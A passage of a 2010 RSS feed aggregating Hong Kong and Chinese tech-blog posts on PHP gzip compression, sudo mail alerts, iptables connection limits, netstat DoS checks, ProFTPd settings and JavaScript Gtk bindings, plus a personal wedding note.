	<content:encoded>&lt;p&gt;GZIP 是一種壓縮技術，是在伺服器上將頁面壓縮，傳到用戶的瀏覽器再解壓。在 PHP 實要 GZIP 壓縮可以這樣做:&lt;/p&gt;
&lt;div class=&quot;igBar&quot;&gt;&lt;span id=&quot;lphp-2&quot;&gt;&lt;a href=&quot;http://www.hkcode.com/programming/565&quot;&gt;PLAIN TEXT&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;syntax_hilite&quot;&gt;&lt;span class=&quot;langName&quot;&gt;PHP:&lt;/span&gt;
&lt;div id=&quot;php-2&quot;&gt;
&lt;div class=&quot;php&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;&amp;lt;?php&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;if&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;a href=&quot;http://www.php.net/substr_count&quot;&gt;&lt;span&gt;substr_count&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$_SERVER&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'HTTP_ACCEPT_ENCODING'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, &lt;span&gt;'gzip'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.php.net/ob_start&quot;&gt;&lt;span&gt;ob_start&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&quot;ob_gzhandler&quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.php.net/ob_start&quot;&gt;&lt;span&gt;ob_start&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;span&gt;?&amp;gt;&lt;/span&gt; &lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-22T07:36:58+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/564">
	<title>Sam Tang: 執行 sudo 時電郵通知</title>
	<link>http://www.hkcode.com/linux-bsd-notes/564</link>
	<content:encoded>&lt;p&gt;sudo 提供了簡單的方法追蹤執行紀錄，其中一項就是當透過 sudo 執行 指令時發送電郵到指定電郵地址，方法如下:&lt;/p&gt;
&lt;p&gt;1. 開啟 sudo 的設定檔:&lt;br /&gt;
visudo&lt;/p&gt;
&lt;p&gt;2. 加入下面兩行:&lt;/p&gt;
&lt;p&gt;mailto &quot;admin@localhost&quot;&lt;br /&gt;
mail_always on&lt;/p&gt;
&lt;p&gt;mailto 後面是設定發送電郵通知的地址。&lt;br /&gt;
mail_always 預設是 off，開啟後會在每次執行 sudo 後發出電郵通知。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-19T04:08:09+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/563">
	<title>Sam Tang: Iptables 限制每個 ip 連線數</title>
	<link>http://www.hkcode.com/linux-bsd-notes/563</link>
	<content:encoded>&lt;p&gt;如果在 Linux 下要限制每個 ip 的連線數，可以透過 iptables 實現。詳細指令語法如下：&lt;/p&gt;
&lt;p&gt;/sbin/iptables  -A INPUT -p tcp --syn --dport 22 -m connlimit --connlimit-above 3 -j REJECT&lt;br /&gt;
限制每個 ip 只可以有 3 個 ssh 連線 (預設 ssh 使用 port 22)。&lt;/p&gt;
&lt;p&gt;/sbin/iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 -j REJECT --reject-with tcp-reset&lt;br /&gt;
只接受每個 ip 20 個 http 連線 (httpd.conf 裡面的 MaxClients 預設是 60)。&lt;br /&gt;
要留意的是，這個設定可能會把 proxy servers 阻隔，因為每個 proxy servers 可能會建立大量的連線。&lt;/p&gt;
&lt;p&gt;Skip proxy server IP 1.2.3.4 from this kind of limitations:&lt;/p&gt;
&lt;p&gt;/sbin/iptables -A INPUT -p tcp --syn --dport 80 -d ! 1.2.3.4 -m connlimit --connlimit-above 20 -j REJECT --reject-with tcp-reset&lt;br /&gt;
這句的作用跟上面語法一樣，只是把已知的 proxy server (1.2.3.4) 給開通，避免阻隔 proxy servers 的連線。&lt;/p&gt;
&lt;p&gt;In this example, limit the parallel http requests to 20 per class C sized network (24 bit netmask)&lt;/p&gt;
&lt;p&gt;/sbin/iptables  -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 24 -j REJECT --reject-with tcp-reset&lt;br /&gt;
這個是限制同一個 class C 網絡同時建立 20 個連線。&lt;/p&gt;
&lt;p&gt;如果想把在指定時間內建立過多連線的 ip 阻隔，這便要編輯 iptables 的 shell script。&lt;br /&gt;
以下例子會阻隔在 100 秒內建立多於 10 個 http 連線的 ip&lt;/p&gt;
&lt;p&gt;#!/bin/bash&lt;br /&gt;
IPT=/sbin/iptables&lt;br /&gt;
# Max connection in seconds&lt;br /&gt;
SECONDS=100&lt;br /&gt;
# Max connections per IP&lt;br /&gt;
BLOCKCOUNT=10&lt;br /&gt;
# ....&lt;br /&gt;
# ..&lt;br /&gt;
# default action can be DROP or REJECT&lt;br /&gt;
DACTION=&quot;DROP&quot;&lt;br /&gt;
$IPT -A INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --set&lt;br /&gt;
$IPT -A INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds ${SECONDS} --hitcount ${BLOCKCOUNT} -j ${DACTION}&lt;br /&gt;
# ....&lt;br /&gt;
# ..&lt;/p&gt;
&lt;p&gt;要儲存 iptables 的修改可以查看 iptables-save 的 man page，在 redhat 下是用以下指令:&lt;br /&gt;
service iptables save
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-18T13:08:54+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/186/Drag_and_Drop_with_seed_Javascript_and_Gtk_.html">
	<title>Alan Knowles: Drag and Drop with seed (Javascript) and Gtk</title>
	<link>http://www.akbkhome.com/blog.php/View/186/Drag_and_Drop_with_seed_Javascript_and_Gtk_.html</link>
	<content:encoded>&lt;div&gt;As part of my, &amp;quot;What to do while looking for a Job&amp;quot; project, I'm exploring the Gtk/Gobject introspection bindings in seed.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;It's one of those fun, not documented anywhere, and you have to dig around all the source to understand how to do things projects. And part of a grander plan to develop a generic application builder loosely based around the&lt;a href=&quot;http://www.youtube.com/watch?v=vHIoFU1oWa0&quot;&gt; RooJs builder application&lt;/a&gt; I blogged about previously.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The idea is that using Gtk, GtkSourceView, and the concepts I developed in the RooJS Builder, I would be able to create Dynamic Web applications (and eventually Gtk ones) very rapidly due to the ability to closely tie the action code to the interface design.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The core reasons why it speeds up development are:&lt;/div&gt;&lt;div&gt;- Syntax checking is feasible when creating code.&lt;/div&gt;&lt;div&gt;- Adding, editing and selecting properties and event handlers is faster, less error prone, and access to documentation is instant. &lt;/div&gt;&lt;div&gt;- Visually changing and seeing the effect of a change (the change - reload - test cycle) is reduced to milliseconds rather than tens of seconds.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So far most of the application is mocked up, (and relivant patches have been submitted to seeds' bugzilla for review). However one of the key components I was looking at over the Chinese New Year Break was drag and drop of Palete Items onto the Rendered View of the application (Webkit embedded), (and eventually the tree that makes it up). To do this involved seriously testing the Gobject introspection bindings and how the interact with the drag and drop methods in Gtk.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So Read on if you are interested in how it all comes together.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2010-02-17T03:10:00+00:00</dc:date>
</item>
<item rdf:about="http://me.abelcheung.org/?p=731">
	<title>狗爺語錄: WordPress Private Post Access plugin updated</title>
	<link>http://me.abelcheung.org/2010/02/10/wordpress-private-post-access-plugin-updated/</link>
	<content:encoded>&lt;p&gt;&lt;span class=&quot;drop&quot;&gt;J&lt;/span&gt;ust made up my mind to push a new version (1.3.0) of the plugin, which can be &lt;a href=&quot;http://code.google.com/p/wp-priv-post-access/&quot; target=&quot;_blank&quot; class=&quot;liexternal&quot;&gt;downloaded from its official page&lt;/a&gt; as usual. There are a few mysterious oddities so far:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An &lt;a href=&quot;http://me.abelcheung.org/devel/show-private-posts-in-wordpress/comment-page-1/#comment-100777&quot; class=&quot;liinternal&quot;&gt;odd problem&lt;/a&gt; which seemed to affect earlier WordPress 2.8.x versions is just gone, for unknown reason.&lt;/li&gt;
&lt;li&gt;When trying to replace the category list retrieved from &lt;code&gt;get_terms()&lt;/code&gt;, PHP simply segfaulted, at least on my machine. Failed to get any meaningful error message, nor can I deduce any reason so far.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So for now I just settled in showing empty categories in sidebar widgets, which should work as an internim solution (categories containing ONLY private posts are not shown by default, as the public post count is zero). Of course, the side effect is that even genuinely empty categories are shown as well. I&amp;#8217;ll see what can be done later.&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-10T11:34:49+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/562">
	<title>Sam Tang: ProFTPd 登入援慢問題</title>
	<link>http://www.hkcode.com/linux-bsd-notes/562</link>
	<content:encoded>&lt;p&gt;在安裝 ProFTPd 後，會發覺登入時非常援慢，但只要登入成功後，速度就會變得很暢順。&lt;/p&gt;
&lt;p&gt;造成這個問題的原因是 ProFTPd 預設在登入時會做「反查」的動作，解決方法是將 ProFTPd 設定為不做「反查」。方法如下：&lt;/p&gt;
&lt;p&gt;1. 開啟 proftpd.conf，一般上檔案位置會是 /etc/proftpd.conf 或 /usr/local/etc/proftpd.conf&lt;/p&gt;
&lt;p&gt;2. 加入以下兩行:&lt;/p&gt;
&lt;p&gt;UseReverseDNS off&lt;br /&gt;
IdentLookups off&lt;/p&gt;
&lt;p&gt;3. 重新啟動 ProFTPd。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-10T07:03:10+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/561">
	<title>Sam Tang: Linux 系統管理電子書</title>
	<link>http://www.hkcode.com/linux-bsd-notes/561</link>
	<content:encoded>&lt;p&gt;The Free Technology Academy (FTA) 釋出一本免費電子書 &quot;&lt;a href=&quot;http://ftacademy.org/files/materials/fta-m2-admin_gnulinux-v1.pdf&quot; title=&quot;The GNU/Linux operating system&quot;&gt;The GNU/Linux operating system&lt;/a&gt;&quot;，內容主要圍繞系統管理，例如如何安裝及設定多種不同的伺服器及優化系統等。&lt;/p&gt;
&lt;p&gt;官方網站介紹：&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
    The GNU/Linux systems have reached an important level of maturity, allowing to integrate them in almost any kind of work environment, from a desktop PC to the sever facilities of a big company.&lt;/p&gt;
&lt;p&gt;    In the module called &quot;The GNU/Linux operating system&quot;, the main contents are related with system administration. This book is the main documentation for the module.
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;書本資料:&lt;/p&gt;
&lt;p&gt;    * Authors: Remo Suppi Boldrito, Josep Jorba Esteve&lt;br /&gt;
    * Coordinator: Josep Jorba Esteve&lt;br /&gt;
    * Licenses: GNU Free Documentation License, Creative Commons Attribute ShareAlike License&lt;br /&gt;
    * Information: 545 Pages; 18.8 Mb&lt;br /&gt;
    * &lt;a href=&quot;http://ftacademy.org/files/materials/fta-m2-admin_gnulinux-v1.pdf&quot; title=&quot;The GNU/Linux operating system&quot;&gt;Download PDF version&lt;/a&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-09T09:42:38+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/programming/560">
	<title>Sam Tang: PHP 免費線上電子書 - Practical PHP Programming</title>
	<link>http://www.hkcode.com/programming/560</link>
	<content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.tuxradar.com/practicalphp&quot; title=&quot;Practical PHP Programming&quot; target=&quot;_blank&quot;&gt;Practical PHP Programming&lt;/a&gt; 是 PHP 免費線上電子書，比較適合對 PHP 有基礎認識的朋友，以下為電子書目錄：&lt;/p&gt;
&lt;p&gt;1. Preface&lt;br /&gt;
2. Introducing PHP&lt;br /&gt;
3. Simple variables and operators&lt;br /&gt;
4. Functions&lt;br /&gt;
5. Arrays&lt;br /&gt;
6. Objects&lt;br /&gt;
7. HTML Forms&lt;br /&gt;
8. Files&lt;br /&gt;
9. Databases&lt;br /&gt;
10. Cookies and Sessions&lt;br /&gt;
11. Multimedia&lt;br /&gt;
12. XML &amp;#038; XSLT&lt;br /&gt;
13. Output Buffering&lt;br /&gt;
14. Java and COM&lt;br /&gt;
15. Networks&lt;br /&gt;
16. Miscellaneous topics&lt;br /&gt;
17. Security concerns&lt;br /&gt;
18. Performance&lt;br /&gt;
19. Writing PHP&lt;br /&gt;
20. Writing extensions&lt;br /&gt;
21. Alternative PHP uses&lt;br /&gt;
22. Practical PHP&lt;br /&gt;
23. Bringing it to a close&lt;br /&gt;
24. Answers to Exercises&lt;br /&gt;
25. The future of PHP&lt;br /&gt;
26. Glossary&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-09T08:53:00+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/linux-bsd-notes/559">
	<title>Sam Tang: netstat 檢查不尋常連線</title>
	<link>http://www.hkcode.com/linux-bsd-notes/559</link>
	<content:encoded>&lt;p&gt;netstat 是一個十分好用的網絡管理工具，而其中一個用途是查看不尋常連線，例如當一個 IP 發送大量連線到伺服器，那麼伺服器很大機會是否遭受 DoS 或 DDoS 攻擊。&lt;/p&gt;
&lt;p&gt;以下是一些實用的 netstat 語法，可以檢查主機的連線數量：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -na&lt;/strong&gt;&lt;br /&gt;
顯示主機上所有已建立的連線。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -an | grep :80 | sort&lt;/strong&gt;&lt;br /&gt;
顯示所有 port 80 的連線，並把結果排序。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -n -p|grep SYN_REC | wc -l&lt;/strong&gt;&lt;br /&gt;
列出主機上有多少個 SYNC_REC，一般上這個數字應該相當低。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -n -p | grep SYN_REC | sort -u&lt;/strong&gt;&lt;br /&gt;
同樣是列出 SYNC_REC，但不只列出數字，而是將每個 SYNC_REC 的連線列出。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'&lt;/strong&gt;&lt;br /&gt;
列出發送 SYNC_REC 的所有 ip 地址。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n&lt;/strong&gt;&lt;br /&gt;
計算每一個 ip 在主機上建立的連線數量。&lt;/p&gt;
&lt;p&gt;netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n&lt;br /&gt;
列出從 TCP 或 UDP 連線到主機的 ip 的數量。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -ntu | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr&lt;/strong&gt;&lt;br /&gt;
列出每個 ip 建立的 ESTABLISHED 連線數量。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1&lt;/strong&gt;&lt;br /&gt;
列出每個 ip 建立的 port 80 連線數量。
&lt;/p&gt;</content:encoded>
	<dc:date>2010-02-09T03:12:50+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/my-life/558">
	<title>Sam Tang: 婚禮</title>
	<link>http://www.hkcode.com/my-life/558</link>
	<content:encoded>&lt;p&gt;2010 年 1 月 23 日是我結婚的大日子，多得一班朋友及家人的幫忙，他們為我們處理大大小小的問題，尤其在酒樓座位安排上面，整天我們兩夫妻也不用操心細節，只要專心影相。&lt;/p&gt;
&lt;p&gt;沒有你們的幫忙，結婚當日不會這麼順利，在此再向他們衷心說聲多謝！
&lt;/p&gt;</content:encoded>
	<dc:date>2010-01-31T04:32:54+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-4006348345528649311">
	<title>Vern: 64 bits</title>
	<link>http://s5unty.blogspot.com/2010/01/64-bits.html</link>
	<content:encoded>% cat /proc/cpuinfo&lt;p&gt;查看flags里是否有lm(Long Mode，64bit Extensions, AMD's AMD64 or Intel's&lt;br /&gt;EM64T)，有的话就说明是64位，没有就是32位。&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-4006348345528649311?l=s5unty.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-01-30T20:07:02+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/185/Javascript_on_the_Desktop_well_Linux_Mostly.html">
	<title>Alan Knowles: Javascript on the Desktop (well Linux Mostly)</title>
	<link>http://www.akbkhome.com/blog.php/View/185/Javascript_on_the_Desktop_well_Linux_Mostly.html</link>
	<content:encoded>&lt;br /&gt;Unfortunately my internet line died over the weekend, and I was left without a connection until Tuesday. I had a bit of offline time to have a look at some interesting new(ish) technology.&lt;br /&gt;&lt;br /&gt;If you have paid any attention to Gnome development, there are mentions of gnome-shell, and something about making it easier to develop add-on/applets etc. using Javascript. I have not really had time to look at this much, however given the fact I had downloaded all the components prior to my loss of connectivity, I spent some time over the weekend and monday looking at this in more detail.&lt;br /&gt;&lt;br /&gt;It looks like there are obviously things going on in IRC and mailing lists, so most of my impressions are from the websites, and code. There are basically 2 projects currently.&lt;br /&gt;&lt;br /&gt;GJS - This is the mozilla Javascript engine bound to the gobject introspection system&lt;br /&gt;Seed - This is the webkit Javascript engine bound to the gobject introspection system&lt;br /&gt;&lt;br /&gt;Of the two, Seed apears to be a little more advanced and more time has gone into it, based on the fact there appear to be more core features in Seed (eg. I could not find anything like Seed.print() in GJS), and there are very few examples in GJS&lt;br /&gt;&lt;br /&gt;Both of these use the GObject introspection method to bind to Gtk, and a large and growing number of other libraries. This is something I found very interesting having gone through a similar process with rooscript. &lt;br /&gt;&lt;br /&gt;The fundimental issue of creating bindings to Gtk (and anything that uses the GObject system) is that historically, almost everyone (PHP, Python etc.) who did it used this method.&lt;br /&gt;&lt;br /&gt;* Parse the HTML documentation, or the .h files (extracting the classes, enums, methods, arguments etc.)&lt;br /&gt;* Generate Binding code for each library, which wraps these methods, loads the '.so' libraries and links it all together.&lt;br /&gt;* Compile a Module (or statically link it in some cases)&lt;br /&gt;* Run... Test.. Fix bugs in wrapping code... Run ... Test.&lt;br /&gt;&lt;br /&gt;What GObject inspection introduces is an very thin layer that can be used to expose any of these methods without writing any binding code (other than to GObject inspection). The result is that to add more features (linking to another library) - you just have to generate a XML file describing the interface, compile it with g-ir-compile and put it in the right folder, and you have magically added support to a new Library, without generating an C code!&lt;br /&gt;&lt;br /&gt;This also means that fixing the binding is considerably simpler (fix the XML file, re-compile etc.) and you have solved bugs in any language that is using it... (as I found with gtk_tree_store_set_column_types()&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Playing with the languages.&lt;/h3&gt;&lt;br /&gt;GJS and Seed present the Gtk API very slightly differently, which at present appears to be a bit of a blocker for deciding which to use (or even to bother for some). The key differences are for authoring&lt;br /&gt;&lt;br /&gt;* Javascript 'let' features in GJS - not available in Seed.. - This is rather a big blocker as code designed for GJS will fail in Seed totally.. (and visa-versa probably)&lt;br /&gt;* Different call signatures to signalsÃ�Â Ã�Â Ã�Â  SEED:OBJECT.signal.connect(method)Ã�Â  vsÃ�Â  GJS:OBJECT.connect('signal', method)Ã�Â  - I think personally that GJS way is more true to the concept and cleaner, however as you can see below there are ways around this.&lt;br /&gt;&lt;br /&gt;Seed has a git repo on gnome 'seed-examples', which contains a large number of examples, although their depth is rather thin unfortunatly.. (code coverage is probably 1% at best)...&lt;br /&gt;Both have pretty much Zero in the documentation stakes.. - A rather trivial task to create - which I'm tempted to have a go at....&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Anyway back to my playing around..&lt;/h3&gt;&lt;br /&gt;I've been doing some serious shit in Javascript recently, GUI builders, Code generators, Hacking GTK bindings etc. so I've seen the good, bad and ugly as far as Javascript goes (Bad sometimes being my code).Ã�Â  I've been slowly moving to what I regard as an effecient, productive use of Javascript, most of which can be seen in the xtype support in RooJS&lt;br /&gt;&lt;br /&gt;After runing the first few examples in seed-examples, I decided to see if using an xtype / Roo structure could be done with Seed. After a bit of tweaking, and bugfixing of Seed, I finally got this code to work.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;var win = XN.xnew({&lt;br /&gt;    xtype : Gtk.Window,&lt;br /&gt;    type: Gtk.WindowType.TOPLEVEL,&lt;br /&gt;    listeners : {&lt;br /&gt;        'delete-event' : function (widget, event) {&lt;br /&gt;            return false;&lt;br /&gt;        },&lt;br /&gt;        destroy  : function (widget) {&lt;br /&gt;            Gtk.main_quit();&lt;br /&gt;        }&lt;br /&gt;   },&lt;br /&gt;   &lt;br /&gt;   set : {&lt;br /&gt;        set_border_width : [ 10 ],&lt;br /&gt;        resize : [300, 300],&lt;br /&gt;        show_all : []&lt;br /&gt;   },&lt;br /&gt;   items : [&lt;br /&gt;        {&lt;br /&gt;            xtype : Gtk.VBox,&lt;br /&gt;           &lt;br /&gt;            items : [&lt;br /&gt;                {&lt;br /&gt;                    xtype : Gtk.TreeView,&lt;br /&gt;                    &lt;br /&gt;                    &lt;br /&gt;                    &lt;br /&gt;                    onRender : function()&lt;br /&gt;                    {&lt;br /&gt;                        this.column = XN.xnew({&lt;br /&gt;                            xtype : Gtk.TreeViewColumn,&lt;br /&gt;                            items : [&lt;br /&gt;                                {&lt;br /&gt;                                    xtype : Gtk.CellRendererText&lt;br /&gt;                                }&lt;br /&gt;                            ]&lt;br /&gt;                        });&lt;br /&gt;                        &lt;br /&gt;                        this.column.add_attribute(this.column.items[0], &amp;quot;text&amp;quot;, 0);&lt;br /&gt;                        this.append_column(this.column);&lt;br /&gt;&lt;br /&gt;                        this.set_model( XN.xnew( {&lt;br /&gt;                            &lt;br /&gt;                            xtype : Gtk.TreeStore,&lt;br /&gt;                            &lt;br /&gt;                            onRender : function() {&lt;br /&gt;                                 &lt;br /&gt;                                this.set_column_types ( 1, [GObject.TYPE_INT] );&lt;br /&gt;                                this.iter = new Gtk.TreeIter();&lt;br /&gt;                                this.append(this.iter);&lt;br /&gt;                                &lt;br /&gt;                                this.set_value(this.iter, 0, [GObject.TYPE_INT, 3]);&lt;br /&gt;                                this.append(this.iter);&lt;br /&gt;                                this.set_value(this.iter, 0, [GObject.TYPE_INT, 2]);&lt;br /&gt;                                this.append(this.iter);&lt;br /&gt;                                this.set_value(this.iter, 0, [GObject.TYPE_INT, 9]);&lt;br /&gt;                            }&lt;br /&gt;                        }));&lt;br /&gt;                    }&lt;br /&gt;                     &lt;br /&gt;                }&lt;br /&gt;            &lt;br /&gt;            ]&lt;br /&gt;         }&lt;br /&gt;    ]&lt;br /&gt;    &lt;br /&gt; });&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;While you may say, so what, it's a bit prettier than the standard examples, but not exactly much different... While that is true, the use of this nested tree, and xtype method is that it enables you to use code and ui builders to put together an interface, and re-use the components very easily. It also solves one of the GJS/Seed issues of signal binding issues (as we wrap up all listeners).&lt;br /&gt;&lt;br /&gt;The backend code to make this happen is here.. - It's pretty trivial again, but obvously could be expanded to handle the different binding methods for how different components are combined (add/pack_start/append etc...)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;createDelegate = function(method, obj, args, appendArgs){&lt;br /&gt;    &lt;br /&gt;    return function() {&lt;br /&gt;        var callArgs = args || arguments;&lt;br /&gt;        if(appendArgs === true){&lt;br /&gt;            callArgs = Array.prototype.slice.call(arguments, 0);&lt;br /&gt;            callArgs = callArgs.concat(args);&lt;br /&gt;        }else if(typeof appendArgs == &amp;quot;number&amp;quot;){&lt;br /&gt;            callArgs = Array.prototype.slice.call(arguments, 0); // copy arguments first&lt;br /&gt;                var applyArgs = [appendArgs, 0].concat(args); // create method call params&lt;br /&gt;                Array.prototype.splice.apply(callArgs, applyArgs); // splice them in&lt;br /&gt;            }&lt;br /&gt;            return method.apply(obj || window, callArgs);&lt;br /&gt;        };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;xnew = function(o)&lt;br /&gt;{&lt;br /&gt;    var ret  = o.self ||  new o.xtype(o);&lt;br /&gt;    &lt;br /&gt;    o.items = o.items || [];&lt;br /&gt;    //Seed.print(o.pack.length);&lt;br /&gt;    // packing &lt;br /&gt;    var addm = typeof(ret['add']) == 'undefined' ?  'pack_start' : 'add';&lt;br /&gt;    ret.items = [];&lt;br /&gt;    for( var i =0; i &amp;lt; o.items.length;i++) {&lt;br /&gt;        ret.items[i] = xnew(o.items[i]);&lt;br /&gt;        ret[ o.items.length == 1 ? addm : 'pack_start'](ret.items[i]);&lt;br /&gt;        ret.items[i].xparent = ret;&lt;br /&gt;    }&lt;br /&gt;    o.set = o.set || {}; &lt;br /&gt;    for (var i in o.set) {&lt;br /&gt;         &lt;br /&gt;        ret[i].apply(ret, o.set[i]);&lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;    o.listeners = o.listeners || {};&lt;br /&gt;    for (var i in o.listeners) {&lt;br /&gt;         var _li = createDelegate(o.listeners[i],ret);&lt;br /&gt;         Seed.print(typeof(_li));&lt;br /&gt;         ret.signal[i].connect(_li);&lt;br /&gt;    }&lt;br /&gt;   &lt;br /&gt;    // apply functions..&lt;br /&gt;    for(var i in o) {&lt;br /&gt;        if (typeof(ret[i]) == 'undefined') {&lt;br /&gt;            ret[i] = o[i];&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    if (ret.onRender) {&lt;br /&gt;        ret.onRender.call(ret);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    return ret;&lt;br /&gt;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;h3&gt;Missing Features&lt;/h3&gt;&lt;br /&gt;One area that I was quite interested in, unfortuntatly did not look to easy, that being Javascript tokenizing. In rooscript, I hacked in the ability to retrieve the tokens of a Javascript file and expose it to a Javascript interface. This enabled me to write Javascript compressors, and hack jstoolkit to use this. LeavingÃ�Â  the painfull task of parsing javascript to the compiled part, and not having to deal with a messy parser in Javascript. Looking at Webkit code, It was not immediatly obvious how this could be done however.&lt;br /&gt;&lt;br /&gt;For the time being I will leave that component of my Roo Builder application using rooscript.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;</content:encoded>
	<dc:date>2010-01-19T09:36:52+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-1791050942856904609">
	<title>Vern: 从谷歌退出中国到看china作家被脱裤</title>
	<link>http://s5unty.blogspot.com/2010/01/china.html</link>
